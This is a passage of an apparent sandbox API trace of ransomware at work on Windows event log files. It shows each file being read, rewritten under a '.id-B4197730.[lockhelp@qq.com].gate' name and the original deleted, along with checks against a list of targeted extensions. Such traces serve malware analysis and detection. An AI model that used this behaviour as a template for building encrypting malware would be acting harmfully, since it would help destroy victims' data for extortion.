liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.348] SetEndOfFile (hFile=0x398) returned 1 [0278.356] CloseHandle (hObject=0x398) returned 1 [0278.356] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.356] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0278.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.357] lstrlenW (lpString=".doc") returned 4 [0278.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString=".docx") returned 5 [0278.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.357] lstrlenW (lpString=".pdf") returned 4 [0278.357] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString=".xls") returned 4 [0278.357] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString=".xlsx") returned 5 [0278.357] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.357] lstrlenW (lpString=".ppt") returned 4 [0278.357] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.357] lstrlenW (lpString=".zip") returned 4 [0278.357] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString=".rar") returned 4 [0278.357] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.357] lstrlenW (lpString=".bz2") returned 4 [0278.357] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString=".7z") returned 3 [0278.358] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString=".dbf") returned 4 [0278.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString=".1cd") returned 4 [0278.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString=".jpg") returned 4 [0278.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString=".doc") returned 4 [0278.358] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString=".docx") returned 5 [0278.358] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.358] lstrlenW (lpString=".pdf") returned 4 [0278.358] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString=".xls") returned 4 [0278.358] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString=".xlsx") returned 5 [0278.358] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.358] lstrlenW (lpString=".ppt") returned 4 [0278.358] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.358] lstrlenW (lpString=".zip") returned 4 [0278.358] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.358] lstrlenW (lpString=".rar") returned 4 [0278.359] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.359] lstrlenW (lpString=".bz2") returned 4 [0278.359] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.359] lstrlenW (lpString=".7z") returned 3 [0278.359] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.359] lstrlenW (lpString=".dbf") returned 4 [0278.359] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.359] lstrlenW (lpString=".1cd") returned 4 [0278.359] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.359] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0278.359] lstrlenW (lpString=".jpg") returned 4 [0278.359] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.359] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.359] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0278.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.359] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0278.359] CloseHandle (hObject=0x398) returned 1 [0278.360] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0278.360] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.360] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.360] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.360] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.360] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.360] GetLastError () returned 0x0 [0278.360] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.540] WriteFile (in: hFile=0x420, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.542] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.542] WriteFile (in: hFile=0x420, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x12c, lpOverlapped=0x0) returned 1 [0278.542] SetEndOfFile (hFile=0x420) returned 1 [0278.542] CloseHandle (hObject=0x420) returned 1 [0278.544] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.544] SetEndOfFile (hFile=0x398) returned 1 [0278.545] CloseHandle (hObject=0x398) returned 1 [0278.545] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.545] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0278.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.546] lstrlenW (lpString=".doc") returned 4 [0278.546] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.546] lstrlenW (lpString=".docx") returned 5 [0278.546] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.546] lstrlenW (lpString=".pdf") returned 4 [0278.546] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.546] lstrlenW (lpString=".xls") returned 4 [0278.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.546] lstrlenW (lpString=".xlsx") returned 5 [0278.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.546] lstrlenW (lpString=".ppt") returned 4 [0278.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.546] lstrlenW (lpString=".zip") returned 4 [0278.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".rar") returned 4 [0278.547] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".bz2") returned 4 [0278.547] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".7z") returned 3 [0278.547] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString=".dbf") returned 4 [0278.547] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString=".1cd") returned 4 [0278.547] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString=".jpg") returned 4 [0278.547] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString=".doc") returned 4 [0278.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".docx") returned 5 [0278.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.547] lstrlenW (lpString=".pdf") returned 4 [0278.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".xls") returned 4 [0278.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".xlsx") returned 5 [0278.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.547] lstrlenW (lpString=".ppt") returned 4 [0278.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.547] lstrlenW (lpString=".zip") returned 4 [0278.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.547] lstrlenW (lpString=".rar") returned 4 [0278.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.548] lstrlenW (lpString=".bz2") returned 4 [0278.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.548] lstrlenW (lpString=".7z") returned 3 [0278.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.548] lstrlenW (lpString=".dbf") returned 4 [0278.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.548] lstrlenW (lpString=".1cd") returned 4 [0278.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0278.548] lstrlenW (lpString=".jpg") returned 4 [0278.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.548] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.548] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0278.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.550] GetFileSizeEx (in: hFile=0x420, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0278.550] CloseHandle (hObject=0x420) returned 1 [0278.550] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0278.550] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.551] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.551] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.552] GetLastError () returned 0x0 [0278.552] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.704] WriteFile (in: hFile=0x414, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.706] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.706] WriteFile (in: hFile=0x414, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x128, lpOverlapped=0x0) returned 1 [0278.706] SetEndOfFile (hFile=0x414) returned 1 [0278.706] CloseHandle (hObject=0x414) returned 1 [0278.708] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.708] SetEndOfFile (hFile=0x3a4) returned 1 [0278.709] CloseHandle (hObject=0x3a4) returned 1 [0278.709] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.709] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0278.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.710] lstrlenW (lpString=".doc") returned 4 [0278.710] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".docx") returned 5 [0278.710] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.710] lstrlenW (lpString=".pdf") returned 4 [0278.710] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".xls") returned 4 [0278.710] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".xlsx") returned 5 [0278.710] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.710] lstrlenW (lpString=".ppt") returned 4 [0278.710] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.710] lstrlenW (lpString=".zip") returned 4 [0278.710] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".rar") returned 4 [0278.710] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".bz2") returned 4 [0278.710] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.710] lstrlenW (lpString=".7z") returned 3 [0278.710] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.710] lstrlenW (lpString=".dbf") returned 4 [0278.711] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString=".1cd") returned 4 [0278.711] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString=".jpg") returned 4 [0278.711] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString=".doc") returned 4 [0278.711] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".docx") returned 5 [0278.711] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.711] lstrlenW (lpString=".pdf") returned 4 [0278.711] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".xls") returned 4 [0278.711] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".xlsx") returned 5 [0278.711] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.711] lstrlenW (lpString=".ppt") returned 4 [0278.711] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString=".zip") returned 4 [0278.711] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".rar") returned 4 [0278.711] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".bz2") returned 4 [0278.711] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString=".7z") returned 3 [0278.711] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.711] lstrlenW (lpString=".dbf") returned 4 [0278.711] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.712] lstrlenW (lpString=".1cd") returned 4 [0278.712] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0278.712] lstrlenW (lpString=".jpg") returned 4 [0278.712] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.712] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.712] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0278.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.712] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0278.712] CloseHandle (hObject=0x3a4) returned 1 [0278.712] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0278.712] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.712] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.712] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.720] GetLastError () returned 0x0 [0278.720] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.777] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.779] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.779] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x12c, lpOverlapped=0x0) returned 1 [0278.779] SetEndOfFile (hFile=0x404) returned 1 [0278.779] CloseHandle (hObject=0x404) returned 1 [0278.802] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.803] SetEndOfFile (hFile=0x3a4) returned 1 [0278.804] CloseHandle (hObject=0x3a4) returned 1 [0278.804] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.804] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0278.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.804] lstrlenW (lpString=".doc") returned 4 [0278.805] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".docx") returned 5 [0278.805] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.805] lstrlenW (lpString=".pdf") returned 4 [0278.805] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".xls") returned 4 [0278.805] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".xlsx") returned 5 [0278.805] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.805] lstrlenW (lpString=".ppt") returned 4 [0278.805] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString=".zip") returned 4 [0278.805] lstrcmpiW (lpString1=".zip", lpString2="evtx") 